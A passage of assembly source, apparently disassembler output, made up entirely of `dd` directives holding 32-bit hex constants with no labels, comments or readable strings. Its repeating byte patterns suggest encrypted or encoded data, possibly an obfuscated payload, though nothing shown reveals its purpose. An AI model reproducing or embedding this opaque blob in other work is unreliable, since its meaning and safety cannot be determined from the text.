		dd 0D281ED78h, 63045394h, 10C26B97h, 4729ED78h,	0BFB1FEECh
		dd 7A13AA01h, 15DDABF5h, 7AE88CA1h, 403ADC78h, 870AE6FCh
		dd 0D2A74A03h
		dd 0F8A2DFEDh, 36A43A0Ch, 5B4A9032h, 5AB64FD9h,	0BC05EFA5h
		dd 32E1230Fh, 0D6A04A90h, 0CEA8420Eh, 0C26B9576h, 874F5B30h
		dd 0AD370F71h, 0DC784745h, 8AF64238h, 0A74A37E3h, 0D3334DE3h
		dd 638D43D1h, 39DC7827h, 2EC3F743h, 0EE78984Eh,	5CC4F3B3h
		dd 0F5871D30h, 5CC4FCBCh, 0A28E1430h, 1D9F540Eh, 2D308985h
		dd 5B020585h, 0B3EE78BFh, 305CC4F3h, 0FAB871Dh,	63DC92EAh
		dd 0D5A74A27h, 0F699DB71h, 78903288h, 0C4F3B3EEh, 0BDD5305Ch
		dd 0E54D573Fh, 0EE5CE031h, 0E2202763h, 5CC51F9Fh, 710B30h
		dd 305CC580h, 0E4261290h, 5B020585h, 4AB515BFh,	3266D4A6h
		dd 0E2A64A90h, 469E2C4Eh, 7873533Ch, 5CC58909h,	0AB198B30h
		dd 0E2202763h, 66D4A64Ah, 46C4DC78h, 0F1B1E0FEh, 23305CC4h
		dd 0BA07F381h, 0BE3E912Ch, 14F170D3h, 1FA57903h, 7863A189h
		dd 0E9413BDCh, 9D5329CDh, 6C38ED78h, 0B9109FDh,	9FD1F32Fh
		dd 305CC51Fh, 78B1112Fh, 0FD413BDCh, 46E70BE7h,	91E725B0h
		dd 349FDE32h, 0A64ACEFCh, 9F1D74D0h, 4C4C3D47h,	0C4305CC5h
		dd 24BE48DEh, 5CC52D6Dh, 75BDE730h, 4A276357h, 3266D4A6h
		dd 3BDC7890h, 9818E941h, 0A6305CC4h, 5B02B111h,	0EC45029Bh
		dd 0BA89A84Ah, 0A64A4C7Eh, 276366D4h, 4AEDA54Ah, 42D0D232h
		dd 2BD2E7E2h, 73C7A1DBh, 32CCB2DDh, 0D4A64A90h,	0B3EE7866h
		dd 305CC4F3h, 0D99BB11Dh, 1E97F05h, 0E70BD3EDh,	0FF3B4995h
		dd 0D85A4ACDh, 0ED78CFB7h, 0C8284B6Dh, 89E5AA6h, 5C841599h
		dd 37A5FF30h, 0BA6A0363h, 0D36A8FBDh, 4A0EBC74h, 9A42D4A6h
		dd 14940D8Bh, 0FC305CC5h, 80CC10A6h, 0B1790F6Dh, 15276313h
		dd 46B51B5h, 9D50000h, 394B9B19h, 0EE78D3F1h, 5CC4F3B3h
		dd 0AB871D30h, 5C96D4DAh, 3D2BC230h, 0C643081Ah, 7825E753h
		dd 5D5D54EEh, 0B7305CC5h, 0C4FCBCEDh, 8E14305Ch, 99E376A2h
		dd 0C4DC782Bh, 0C54F4F42h, 0E3C1305Ch, 7F3F14Dh, 2581F9EBh
		dd 1DE193B9h, 7819AB87h, 0FC403ADCh, 0E59C0AE6h, 305CC4A5h
		dd 7887356Fh, 0E34339DCh, 1A8409E1h, 6DE98B2h, 9F16B47Ch
		dd 305D6B82h, 96E80ED6h, 0A04A685Ah, 0EE7860D6h, 5CC4F3B3h
		dd 0AB871D30h, 0A2DF6977h, 305CC4E2h, 0AB87032h, 4AEE5A4Ah
		dd 40D6EC30h, 0D5ADE6FCh, 403ADC78h, 383FEE8h, 0D305CC5h
		dd 27632197h, 8CBD0A9Fh, 0A04A7A3Eh, 5FADBAD1h,	0F187839Dh
		dd 2058FF67h, 2763FAC8h, 60D6A04Ah, 0E9F9032h, 7E3E8CBDh
		dd 5B020585h, 0D6A04ABFh, 81276360h, 89097801h,	8B305CC5h
		dd 9032AB19h, 5D54EE78h, 305CC55Dh, 0FCBCEDB7h,	14305CC4h
		dd 502ACE8Eh, 6A1E3C98h, 5A64B83Ah, 5CC56727h, 65FBA930h
		dd 903261D7h, 24C99511h, 1F9DF450h, 5B02F1D3h, 0B92581BFh
		dd 17C3EC69h, 4EB53CD4h, 925E64B8h, 89097830h, 8B305CC5h
		dd 0DC78AB19h, 0FCEA46C4h, 5CC50585h, 27950F30h, 1812763h
		dd 0A04A9032h, 899844D6h, 0C512920Fh, 0A002305Ch, 78B03212h
		dd 4A27634Ah, 326AD85Ah, 4AE22090h, 354CEE5Ah, 84BC1669h
		dd 72009694h, 0A3D97CD8h, 0DBE94143h, 0ED782763h, 6514A701h
		dd 19BD7518h, 55F18B09h, 5D67BF3Dh, 0DC783795h,	0BBF74339h
		dd 0C51F9F09h, 4A2F305Ch, 4E0ADAA4h, 8E0DD1ABh,	0C83BC766h
		dd 0BF5B029Ah, 4ED85A4Ah, 7AF828B4h, 5CC58707h,	0B31B8930h
		dd 0B416E262h, 0A74A2763h, 0B43267D5h, 0AF770528h, 78EFDD15h
		dd 0C4F3B3EEh, 831D305Ch, 5CC58E0Eh, 8E1C8630h,	0C4E3A3A2h
		dd 4AF3305Ch, 6367D5A7h, 0D7196A03h, 0F4CE262Eh, 5A4A8E3Ch
		dd 90326AD8h, 67D5A74Ah, 0B1119032h, 4ABF5B02h,	786AD85Ah
		dd 0F64238DCh, 69E27BEBh, 0B8EF2EF4h, 4AC5C733h, 9B43D5A7h
		dd 0E321098Bh, 5A4A2763h, 90326AD8h, 0F18B2581h, 5CC50080h
		dd 1F921030h, 305CC49Fh, 0C5C73371h, 0C5890978h, 198B305Ch
		dd 0B3EE78ABh, 305CC4F3h, 2C507BE4h, 0B4D8DB5Eh, 97695FEEh
		dd 0C58F553Ch, 7893316Dh, 0C4F3B3EEh, 831D305Ch, 5CC58E0Eh
		dd 8E1C8630h, 9C1E76A2h, 8127632Eh, 89097801h, 71305CC5h
		dd 0E438BCD5h, 0FBAF4FDEh, 0E9FC59B6h, 91475D01h, 0B5152763h
		dd 90320181h, 80D2A74Ah, 0EF6DA482h, 0F82E1A5Eh, 0ED78F46Ah
		dd 2934BB61h, 0AC31F98Ch, 0A9E99832h, 6B305C5Eh, 9FD3F139h
		dd 305CA9D3h, 66EE7863h, 4E54A8D2h, 5CC55B5Bh, 3EFB530h
		dd 48FE7E97h, 1819032h,	0D066EE78h, 0E44C56AEh,	5CC4A5E5h
		dd 87356F30h, 0ED782763h, 0C054F750h, 239123BAh, 0E2AF35A4h
		dd 1CB204E0h, 0E797178Ah, 2B79305Bh, 4A0381CFh,	786BD95Bh
		dd 0C4F3B3EEh, 871D305Ch, 4A9C26ABh, 0B64FD95Bh, 217821ABh
		dd 0EAA731DAh, 305C94AAh, 0D2F0386Ah, 1F9F9032h, 2F305CC5h
		dd 0EE78B111h, 5CC4F3B3h, 0AB871D30h, 4A74A647h, 35B7EF5Bh
		dd 0ED7831A7h, 7ED4428h, 0D0DD1537h, 9FE22072h,	305CC51Fh
		dd 0D252430Bh, 47D4D63Bh, 0CD25B62Bh, 0D5A74AFFh, 0D1AB4D09h
		dd 0B756BE0Dh, 43A3D97Dh, 0E6E4B341h, 15BF5B02h, 0D85A4AB5h
		dd 8190326Ah, 89097801h, 8B305CC5h, 0C524641Dh,	0A915305Ch
		dd 0F76DBCF6h, 6903A1EDh, 5C1C7838h, 740A9830h,	9F2763C6h
		dd 305CC51Fh, 0D85A4A2Fh, 27EEB74Eh, 0DE87D467h, 2763B012h
		dd 0ECDE5B4Ah, 0A258A976h, 0B046C4DCh, 9032AC22h, 50DF5A4Ah
		dd 0E0414576h, 328F3DD3h, 0DBA54A90h, 0D6564F0Bh, 56F7190Eh
		dd 3C008292h, 0B7EF10A6h, 29B5B02h, 3B31273Ch, 0F3D1191Ch
		dd 6BD95B4Ah, 5A4A2763h, 27636AD8h, 0EE780181h,	5CC4F3B3h
		dd 4837E430h, 4C4C42E0h, 0D9C86240h, 305C36D9h,	6D81693Bh
		dd 0D95B4A77h, 8190326Bh, 66EE7801h, 4E54A8D2h,	0C49FE3E2h
		dd 571305Ch, 2AB884F0h,	0B75A0294h, 635F6DC5h, 0EF5B4A27h
		dd 15A735B7h, 640B7378h, 8961EAB1h, 1527633Bh, 0B3B99FB5h
		dd 4A89305Ch, 3264DAA4h, 78018190h, 5CC58909h, 0AB198B30h
		dd 0F3B3EE78h, 1D305CC4h, 6DE9EB1h, 0BF02EE7Ch,	91509F0Bh
		dd 0B01C305Ch, 0E6A6DB9Dh, 2E305C90h, 0B80AE674h, 67D5A74Ah
		dd 628B432h, 0C5810170h, 1193305Ch, 0C921A383h,	780181FBh
		dd 5CC58909h, 0AB198B30h, 0A44A2763h, 708440DAh, 1EA83A0Ah
		dd 5CC52363h, 7BB7ED30h, 3ADC7849h, 3F71B540h, 100306C4h
		dd 9F6DD5D8h, 305D79F7h, 0C4DC7847h, 28CEEA46h,	9032E056h
		dd 9780181h, 305CC589h,	0F68F198Bh, 0CD8CF9B7h,	0A765CD8Ch
		dd 0A0B32763h, 9788137h, 37B5A9D6h, 7810C6DCh, 0FE46C4DCh
		dd 1810CE4h, 90320181h,	4AECA44Ah, 40D6EC30h, 79ED7892h
		dd 9F863C23h, 0ED555890h, 1F9FE220h, 0B305CC5h,	63CFA943h
		dd 2B111A1h, 0B515BF5Bh, 5CB56F9Fh, 0A74A9F30h,	903267D5h
		dd 97B92581h, 0AF8B19E5h, 0C4DC781Dh, 9738646h,	6543AF35h
		dd 5CC56C2Ch, 62F65E30h, 72BEC418h, 0EB82148Eh,	16319264h
		dd 9634FCD7h, 25812763h, 0C496168Bh, 247E305Ch,	3F1DDA91h
		dd 806836E6h, 4A903202h, 786BD95Bh, 0DEB4DBEDh,	66C0D8D3h
		dd 0E35DE8F8h, 0A728769h, 9131BC74h, 66D4A64Ah,	671AB432h
		dd 305CC527h, 7021BBE9h, 305CC530h, 5476C2E0h, 0A64AE220h
		dd 9AE074D0h, 4949384Ah, 31305CC5h, 5CC54040h, 0C2D2D030h
		dd 639C52E0h, 0DAA44A27h, 78903264h, 0C4F3B3EEh, 871D305Ch
		dd 0BBD0EEF6h, 33FFCD6Dh, 5CA65252h, 789C3830h,	48A02202h
		dd 0DAA44A7Ah, 0F8D8440h, 4745AD37h, 0A64A2763h, 0C4E1A1D0h
		dd 7133305Ch, 0C2BF49E3h
		dd 305CC4C2h, 2A985052h, 0F3B3EE78h, 1D305CC4h,	4DE361B1h
		dd 781B49E5h, 0E9413BDCh, 16562BCDh, 0D2412310h, 328F3DD3h
		dd 2B11190h, 0A64ABF5Bh, 276366D4h, 64DAA44Ah, 0A64A2763h
		dd 903266D4h, 5CC51F9Fh, 0B1112F30h, 4ABF5B02h,	9A42D4A6h
		dd 9935098Bh, 0BB770577h, 4A276309h, 324CE2A6h,	0A842D0D2h
		dd 0C523631Eh, 0B7ED305Ch, 9032497Bh, 0EE780181h, 30CB5A57h
		dd 5CB64141h, 44D1D330h, 0DF1B270Bh, 5C046E2Eh,	89F8A630h
		dd 305C0409h, 0F789AF0Bh, 321DD361h, 0D85A4A90h, 9032CFB7h
		dd 4DE2A64Ah, 75D1D333h, 56049AE2h, 0E2202763h,	5CC51F9Fh
		dd 95112F30h, 644473F8h, 4EC6222h, 9B5B0286h, 0C5109001h
		dd 0A200305Ch, 0B5157456h, 0EE780181h, 4EAAD466h, 5CC4FFBFh
		dd 0DD931130h, 1812763h, 671AB432h, 305CC527h, 0D41BBCE9h
		dd 591579FCh, 155D6FCBh, 37A0B3B5h, 86097881h, 7637B5A4h
		dd 0F8304AEEh, 32D88E14h, 32018190h, 0D1A74A90h, 5CC4E0A0h
		dd 25753030h, 963CF06Ah, 0BBF68016h, 305C60FBh,	4BF98F15h
		dd 0A44A2763h, 0B43264DAh, 0E27BF928h, 0E687DABh, 0EAD810E4h
		dd 133DED78h, 7481FF8h,	81DFE52Bh, 4A903201h, 7864DAA4h
		dd 0E03C3EDCh, 3F8B16E2h, 0F3B3EE78h, 0D5305CC4h, 4F553943h
		dd 9F675DE3h, 305CC51Fh, 0DBA54A2Fh, 0D7A94F0Bh, 0CB79720Fh
		dd 8531955Eh, 6D8D2CC0h, 0EE78CCB2h, 5CC4F3B3h,	0EAAAE730h
		dd 2A305CC4h, 0A28E1478h, 15439F3Eh, 0DAA44AB5h, 0B3EE7864h
		dd 305CC4F3h, 77AB871Dh, 0C51F9F4Dh, 112F305Ch,	0D69F895h
		dd 0B0C9A27Eh, 0DC784A78h, 0E2E03C3Eh, 9743EA16h, 20DDA44Ah
		dd 10A6F5B0h, 7870E674h, 0E8403ADCh, 0A44A5DE5h, 9E2C4EECh
		dd 0CFAA400Ch, 655B7BD2h, 5DA1379Dh, 32D9EB47h,	0E74419B4h
		dd 0BE70B4C9h, 1F9F5072h, 2F305CC5h, 86FB9511h,	305CC506h
		dd 6E5C940Eh, 339B5B02h, 30925E1Eh, 64DAA44Ah, 4B5B0363h
		dd 836F75C9h, 0DAA44A01h, 39DC7864h, 2DBBF743h,	4EC70A1h
		dd 78018186h, 0A53C57EEh, 5452BED1h, 1CADED9Ch,	3D67305Ch
		dd 7890328Fh, 0E03C3EDCh, 8CA216E2h, 27637CF2h,	0C841EC7Bh
		dd 0E6C35AD8h, 0ABE570D9h, 2A547E2Fh, 78754D46h, 5CC58909h
		dd 16E47130h, 0D5BD07DBh, 2C6C25B7h, 0E4305C17h, 148E72BEh
		dd 782763A6h, 0C4F3B3EEh, 871D305Ch, 4A7250ABh,	3260D6A0h
		dd 54B39F90h, 78837F9Eh, 0EB47C5DCh, 9D532DCFh,	0CB9F2763h
		dd 0BB32A180h, 6BD95B4Ah, 5A4A2763h, 90326AD8h,	7A99EF9Fh
		dd 5A4A1F74h, 3636AD8h,	6ECA4A5Bh, 0D85A4A5Ch, 0C8E864Eh
		dd 0B432E624h, 0A9750728h, 9FEDDF1Bh, 3783F368h, 2058590h
		dd 0DC78BF5Bh, 0D3FF47C5h, 44AC42C2h, 0CC24050h, 5B4A2763h
		dd 90326BD9h, 4339DC78h, 51D3C3F7h, 4A9032E3h, 4E0ADAA4h
		dd 8209D557h, 503FBB62h, 0BF5B0272h, 4FD95B4Ah,	0C4BCFCB5h
		dd 4E54305Ch, 276320E2h, 6AD85A4Ah, 0A44A2763h,	0EE7864DAh
		dd 5CC4F3B3h, 0AB871D30h, 369F4D77h, 68A189Fh, 40DAA44Ah
		dd 138606B5h, 70B8605Eh, 0B3EE7852h, 305CC4F3h,	26AB871Dh
		dd 0D95B4A9Ch, 4A90326Bh, 7864DAA4h, 0D441C4DCh, 23F859A4h
		dd 80DC14AAh, 0D85A4A22h, 0D6A44804h, 56F7190Eh, 20B7BA4h
		dd 0EE78BF5Bh, 5CC4F3B3h, 0AB871D30h, 8AA0160Fh, 66425FEFh
		dd 26B463E6h, 0DC782290h, 0E4FE46C4h, 7801810Ch, 0F64238DCh
		dd 9C522CC2h, 0DC782763h, 9CDE70C4h, 9FF6220Eh,	0AF28B1Dh
		dd 0C06E0F19h, 7ACAB446h, 0FF43DA68h, 79A27EBDh, 324A78B0h
		dd 0D2A04A90h, 5CC4DFDFh, 0DD733130h, 4A90326Fh, 4C08D4A6h
		dd 710FD755h, 5CC58000h, 85129030h, 0DF40B25Bh,	0BF5B02E7h
		dd 6BD95B4Ah, 5B4A2763h, 90326BD9h, 189F369Fh, 0A04A068Ah
		dd 0AD420ED6h, 0F81C73D3h, 94EAA151h, 78BF5B02h, 0FF47C5DCh
		dd 0AECE61E5h, 30E44C56h, 4E1A64E1h, 0EB62E903h, 363E755h
		dd 0C298FD6Ah, 35FDD375h, 39DC7897h, 99F1D75h, 5743AF35h
		dd 0C7C7BA3Eh, 81305CC4h, 2A860E6Eh, 1AA87406h,	3240F684h
		dd 5AC219B4h, 0F4A91A57h, 0CA9F8E3Ch, 0BA4C346Bh, 5B02B111h
		dd 0D95B4ABFh, 8127636Bh, 5ED7801h, 61C010FBh, 5AAAD064h
		dd 227EBA48h, 82730AA4h, 0F9078B94h, 14206011h,	0B2F0305Ch
		dd 0A04A4446h, 36360D6h, 0C5783869h, 0A98305Ch,	0E2209C2Eh
		dd 5CC51F9Fh, 0AC430B30h, 4AA664CCh, 0DFDFD2A0h, 31305CC4h
		dd 0B501DD73h, 4F0ADAA2h, 0DF604A5h, 0BF5B0255h, 0BBB3B515h
		dd 0CBDB422Bh, 3BC95CBFh, 38DC7885h, 64E0E242h,	4A58A4D6h
		dd 4A10B2EEh, 786BD95Bh, 0F9B83CEDh, 0AE66CFCh,	5A4AECD6h
		dd 0A74804D8h, 0F61609D5h, 4D3FAB57h, 5DBF5B02h, 8430E063h
		dd 8E483h, 109F2700h, 78305D52h, 4CE0A04Ah, 925D8F29h
		dd 24BA1A58h, 8634CAD8h, 413BDC78h, 0A32BB5E9h,	8D17EF89h
		dd 18167A5h, 0C5890978h, 198B305Ch, 5B0363ABh, 6A78C4B4h
		dd 0E2203C8Eh, 60D6A04Ah, 4238DC78h, 0E17BEBF6h, 5CC4F0B0h
		dd 5CB42030h, 22E048DEh, 14D1A04Ah, 0CBC1F9ACh,	788F3DD3h
		dd 83CDB6EDh, 7AB613A4h, 1A3C9826h, 0DBDBD660h,	35305BFDh
		dd 9F01836Fh, 305CC51Fh, 8000710Bh, 90305CC5h, 11E42612h
		dd 0BF5B02B1h, 44D6A04Ah, 38047698h, 637C4EAAh,	9FE22027h
		dd 305CC51Fh, 7805852Fh, 0F74339DCh, 4814E28Bh,	0AD1FDB59h
		dd 0A44AB515h, 0EE36B4ECh, 789046D4h, 0E03C3EDCh, 0E8DA16E2h
		dd 0EE780181h, 45AD2F66h, 5CC50484h, 20960C30h,	0B75B0363h
		dd 0A7C892C2h, 1AA89066h, 1F9FECDEh, 2F305CC5h,	64DAA44Ah
		dd 0A04A2763h, 779844D6h, 329F2D05h, 0DAA44A90h, 1AB43264h
		dd 5CC52767h, 7FBBE930h, 205854Dh, 0A04ABF5Bh, 276360D6h
		dd 92882581h, 0F6619B4Bh, 0B1671AB3h, 0D0A246B4h, 0B432AA18h
		dd 0AF770528h, 4AEFDD15h, 6364DAA4h, 9FE22027h,	305CC51Fh
		dd 0CEAE430Bh, 6846C76h, 9D5A74Ah, 75D1AB4Dh, 0F64599E3h
		dd 1013EF8Eh, 0BF5B02B2h, 181B515h, 0A04A9032h,	78294FE0h
		dd 305CC538h, 0A634CAD8h, 4A903230h, 740ED6A0h,	523D3FD0h
		dd 8509786Ch, 75305CC5h, 0FC34B8E9h, 6DF89210h,	0E53C3279h
		dd 66DB7242h, 0D9BA2EBFh, 3C3EDC78h, 2763D6F4h,	0DFD2A04Ah
		dd 305CC4DFh, 6D2153F9h, 576BFE30h, 82105E7Eh, 27637EECh
		dd 0ED780181h, 0F1DD53D8h, 1B57A362h, 4AB515A9h, 0E0A0D1A7h
		dd 30305CC4h, 0E9A9D872h, 2B305CC4h, 3275EB79h,	0BC2F19B4h
		dd 54F67EF2h, 1812E9Ch,	0C5890978h, 2F8B305Ch, 1092720Ah
		dd 0ED78CC82h, 9D17D602h, 36BB77E2h, 3201818Ch,	0DAA44A90h
		dd 9F276364h, 305D5756h, 0D2A74AE6h, 80BBE8D6h,	89F892E2h
		dd 305C0E09h, 710B990Bh, 0DEAAAE7h, 782A305Ch, 903212B0h
		dd 0C5890978h, 198B305Ch, 0EE780876h, 0C55D5D54h, 0EAB7305Ch
		dd 0AD7FF4AAh, 0C921B7C6h, 5C257838h, 1A3C9830h, 631CD260h
		dd 78E22027h, 0E032D5EDh, 0CE5F3357h, 9BC8074Bh, 6B4FAB0Eh
		dd 0B824B6C6h, 0BD0FEB69h, 0A74A2763h, 903267D5h, 5CC51F9Fh
		dd 0B1112F30h, 7438DC78h, 2E0A98E2h, 41DB1BC2h,	970A7285h
		dd 305CC517h, 7D4FABF9h, 43D5A74Ah, 2B07719Bh, 0E3ED7899h
		dd 0DB2DB678h, 1AA835FDh, 6AD85A4Ah, 1F9F9032h,	2F305CC5h
		dd 0E757EE78h, 8B1BAEA7h, 702A6A1Fh, 0B8EA305Ch, 0CE4C4470h
		dd 4A276318h, 7867D5A7h, 0E9413BDCh, 5A4A0FB5h,	90326AD8h
		dd 61FB9511h, 5CC57030h
		dd 8F02A030h, 305CC50Fh, 7557A301h, 4ABF5B02h, 257ED2A7h
		dd 0F5DB1B13h, 2763F167h, 90320181h, 4ED85A4Ah,	0C4BDFDB4h
		dd 4D57305Ch, 0C4C6C6BBh, 544E305Ch, 27632E9Ch,	1F9FE220h
		dd 2F305CC5h, 27C99511h, 82FF8955h, 305CC502h, 36029012h
		dd 9B5B0294h, 0C654E233h, 91A626B4h, 158103EFh,	0D5A74AB5h
		dd 4A903267h, 0E1BDD6A0h, 0C55A5A57h, 0EFBA305Ch, 26F11E2Ch
		dd 529E2C6Fh, 89097870h, 8B305CC5h, 0B432AB19h,	82A99F19h
		dd 7A376C27h, 305C173Ah, 0FE3AC8DAh, 2FF4BCCh, 0A74ABF5Bh
		dd 0F8A943D5h, 305CC4B8h, 0DCEE4A58h, 1812763h,	0A74A9032h
		dd 94AA43D5h, 0B7349976h, 32B012DEh, 27671AB4h,	0E9305CC5h
		dd 4B4D7FBBh, 0A12373DBh, 5B027B49h, 780181BFh,	5CC58909h
		dd 0E5E47130h, 1957B2B5h, 2F8B77C3h, 0BBEB730Dh, 49DFE539h
		dd 0C4DC789Bh, 419DDF70h, 5351AD43h, 0F18C1AE7h, 830E990Bh
		dd 0DF37976Bh, 4A37955Dh, 9B43D5A7h, 0E321098Bh, 9789032h
		dd 305CC589h, 99BD198Bh, 78D2B0E3h, 5CC58909h, 0AB198B30h
		dd 671AB432h, 305CC527h, 4D7FBBE9h, 5B02FF4Bh, 0C4DC78BFh
		dd 2BCEEA46h, 2763E351h, 0EE78B515h, 5CC4F3B3h,	3A42D530h
		dd 0EEB4D8EAh, 0F8829602h, 4A90324Ah, 35B7EE5Ah, 2C48EDE9h
		dd 65E73E9Eh, 0C7750B99h, 0F3B3EE78h, 1D305CC4h, 6977AB87h
		dd 0D02C48EDh, 9FA466D2h, 2A73A4B3h, 0D85A4A83h, 9F27636Ah
		dd 6DED767Ah, 0AD2F66EEh, 25E75351h, 42D4A64Ah,	3804769Ah
		dd 637C4EAAh, 0C94B5B03h, 0DC78A361h, 0CCE8403Ah, 329C5228h
		dd 0D85A4A90h, 1190326Ah, 686FB95h, 0E305CC5h, 0C4A1E190h
		dd 3173305Ch, 27557A3h,	0A64ABF5Bh, 709A42D4h, 0CA581A30h
		dd 27635C6Eh, 8145A57Bh, 97D086Ch, 3A880B90h, 5A4A9032h
		dd 27636AD8h, 712FC620h, 83FC4D8h, 9FC1C32Fh, 305CC51Fh
		dd 8000710Bh, 90305CC5h, 11E42612h, 0BF5B02B1h,	0ED78B515h
		dd 0E0D55FC0h, 128672EDh, 32CC82FCh, 0B3EE7890h, 305CC4F3h
		dd 0D99BB11Dh, 27CBEF4Bh, 412AC355h, 0CA8BD6DFh, 7871539Fh
		dd 0C4F3B3EEh, 40D5305Ch, 0BADAE834h, 0F6EC00E8h, 5B020585h
		dd 0DAA44ABFh, 57EE7864h, 6009AD04h, 7F3F72D7h,	91305CB8h
		dd 68DA2713h, 42D4A64Ah, 0C4B9F9A8h, 495B305Ch,	276323E1h
		dd 4EECA44Ah, 32289E2Ch, 3BDC7890h, 0BE7FD41h, 58F28AAFh
		dd 0C4D3D3CEh, 513D305Ch, 9F29BFBDh, 5CC4A2E2h,	0F8307230h
		dd 0C6ED78CAh, 0E67AD325h, 2280DC14h, 5B02B111h, 3EDC78BFh
		dd 48E2E03Ch, 5CC55959h, 1E9BB30h, 4BF98395h, 809F2763h
		dd 0C8305C96h, 6BD95B4Ah, 0B21AB432h, 8200DC9Eh, 5CC48F0Fh
		dd 89238130h, 5CC39818h, 0CE2A7830h, 780181FCh,	993C57EEh
		dd 0AE7EE4D1h, 0EA038342h, 970D305Bh, 9F276321h, 878055AAh
		dd 0C4DC785Ah, 0CE4FE46h, 45FB79A8h, 38690363h,	305CC578h
		dd 9C2E0A98h, 64DAA44Ah, 7A9F9032h, 0CA856180h,	5B020585h
		dd 1090019Bh, 0C8305CC5h, 683A5AD8h, 0A44A0280h, 276364DAh
		dd 64DAA44Ah, 5B4A9032h, 22566DEh, 32B08CEEh, 0A8FB7D9Bh
		dd 46A56590h, 0B046D4D7h, 11903202h, 5024C995h,	5B022A98h
		dd 0DAA44ABFh, 9738440h, 2763E321h, 0A3DEA44Ah,	305CC4E3h
		dd 73E1772Dh, 0ED789032h, 0A257BE42h, 0C5846CB3h, 85613820h
		dd 78B111ACh, 757FA0EDh, 7684ECE0h, 14AA3804h, 0C909B0DCh
		dd 40DAA44Ah, 230F8D84h, 5B0363E1h, 0CECEC3B1h,	46305CC4h
		dd 6B76CE5Ch, 47AAF3E3h, 0F53DD30Ch, 0D95B4AD7h, 0C4DC786Bh
		dd 60E4FE46h, 7F42AECCh, 0B3EE78CBh, 305CC4F3h,	0FAB871Dh
		dd 322197E9h, 0D95B4A90h, 661BB54Fh, 305CC526h,	0C5C5B4EEh
		dd 4F305CC4h, 322F9D55h, 42DB4B90h, 84A7A992h, 60A28E8Ah
		dd 4ABF5B02h, 6364DAA4h, 3CED7827h, 805BF974h, 75B7BC49h
		dd 3263E0A0h, 18E407C6h, 4A6C305Ch, 864ED85Ah, 0E2200872h
		dd 0F928B432h, 0BD19AB7Bh, 0B90BE765h, 0EE780181h, 54A8D266h
		dd 15978E4Eh, 8E7FBBC9h, 305CC50Eh, 6F2F62FCh, 0A1305CC5h
		dd 594B3703h, 4A2763EBh, 0B441DBA5h, 2E7EB5A9h,	880A1A7Dh
		dd 328C3EFAh, 4F229F90h, 4AD2700Fh, 6365DBA5h, 0DBA54A27h
		dd 0B718541h, 4341A93Bh, 3C9F9032h, 4CFAA3Bh, 5B02B111h
		dd 0DBA54ABFh, 4A276365h, 3265DBA5h, 0D85A4A90h, 7B27636Ah
		dd 0CAC57AD0h, 4F375899h, 4238DC78h, 4A08BAF6h,	7865DBA5h
		dd 0FC403ADCh, 27870AE6h, 19E567BFh, 201DAF8Bh,	1B4A2FC6h
		dd 9A334DE2h, 7DB5EF6Dh, 0C51F9F4Fh, 112F305Ch,	0BF5B02B1h
		dd 8A7BB515h, 471F931Ch, 782896F9h, 5CC58909h, 42D57130h
		dd 9012FE3Ah, 3BDC7822h, 2BB5E941h, 12F272A3h, 4A6A5890h
		dd 326AD85Ah, 750728B4h, 0EDDF1BA9h, 0ED6A04Ah,	3DD65342h
		dd 6FAF4A1Bh, 0FDD925BBh, 0C3C11D5Fh, 0F101A8D4h, 40DA740Eh
		dd 5BFC5151h, 0B0E1C330h, 305BFBF0h, 14B68220h,	29B5B02h
		dd 0B003410Eh, 5476C2FFh, 96B92581h, 0F1841EE6h, 3B4BEE46h
		dd 0DFED45D4h, 0D166EE78h, 8D60B8A8h, 40D6E6C4h, 109919E8h
		dd 297B305Ch, 0C8C059Fh, 4305C11h, 7870529Eh, 5CC58909h
		dd 0AB198B30h, 413BDC78h, 860BE7FDh, 3201813Ch,	32018190h
		dd 0D85A4A90h, 872864Eh, 46CC537Dh, 0DB17D903h,	0E6ED78E9h
		dd 0E688261h, 9A16887Fh, 20F7535Eh, 0B7FB1EC6h,	790BDBA5h
		dd 9FBD0FEBh, 305CC51Fh, 2B1112Fh, 0EE78BF5Bh, 5CC4F3B3h
		dd 0AB871D30h, 0E2207250h, 5CC51F9Fh, 0B1112F30h, 4339DC78h
		dd 30E28BF7h, 413BDC78h, 0F00BE7FDh, 78018192h,	0E34339DCh
		dd 0EFD509E1h, 9D5A74Ah, 32AA187Bh, 0D85A4A90h,	2027636Ah
		dd 0B3EE78E2h, 305CC4F3h, 33C7871Dh, 3EFF549h, 5CC54242h
		dd 0A54A0C30h, 0C4E2A2DFh, 7032305Ch, 0A4B602E2h, 0A54F0ADAh
		dd 2999F604h, 0F3B3EE78h, 1D305CC4h, 0A647AB87h, 7911574h
		dd 5CC50A8Ah, 50980A30h, 0D5A74A72h, 81903267h,	89097801h
		dd 8B305CC5h, 2763AB19h, 0A74AE220h, 779B43D5h,	4FAB3905h
		dd 4A27637Dh, 3267D5A7h, 0C51F9F90h, 112F305Ch,	5123C995h
		dd 0C4CACAC7h, 584A305Ch, 0EE783290h, 5CC4F3B3h, 0AB871D30h
		dd 7874A647h, 0A72192EDh, 0E79A7194h, 305BFCA7h, 4DA53B69h
		dd 2B0C469h, 413BDC78h,	4A5EE4E9h, 3267D5A7h, 0C51F9F90h
		dd 4A2F305Ch, 4C08D4A6h, 0BBB9D6ABh, 0B019A2CEh, 1739C222h
		dd 2B9B8476h, 78BF5B02h, 0FF47C5DCh, 84A90DE5h,	276342F0h
		dd 67D5A74Ah, 1819032h,	0C5890978h, 0E471305Ch,	0CCC5DDD1h
		dd 305BC8CCh, 0E2CF5E44h, 45D96C2Ch, 0CD034844h, 693B2713h
		dd 789032FBh, 97B182EDh, 97BAE882h, 0F58B19E5h,	205A6F60h
		dd 5F9B909Bh, 30A6D67Bh, 1A6A0363h, 82FC1EECh, 2FDC1DEBh
		dd 181C1C3h, 5D54EE78h,	305CC55Dh, 4405EDB7h, 305CC544h
		dd 6360D6CCh, 20B51527h, 0C51F9FE2h, 112F305Ch,	5024C995h
		dd 883AF68Ch, 78BF5B02h, 0AA4339DCh, 5A998694h,	0EB60C867h
		dd 320181BBh, 0D5A74A90h, 66EE7867h, 485AAAD4h,	5CC55959h
		dd 0B4EDBB30h, 305CC4F4h, 54F0861Ch, 586ABAC0h,	4AB50D90h
		dd 3266D4A6h, 2CC62090h, 5CC53575h, 0A2F3DF30h,	66A48C22h
		dd 42D4A64Ah, 0E83AABh,	5BD31191h, 14A10330h, 0CCC40BE0h
		dd 5EECF64Eh, 3633092h,	0C44DC69h, 4C7F4651h, 5BCE5D5Dh
		dd 0F4514E30h, 0C7E1D3E6h, 4E43D5CFh, 305C4D4Eh, 0B614DCC6h
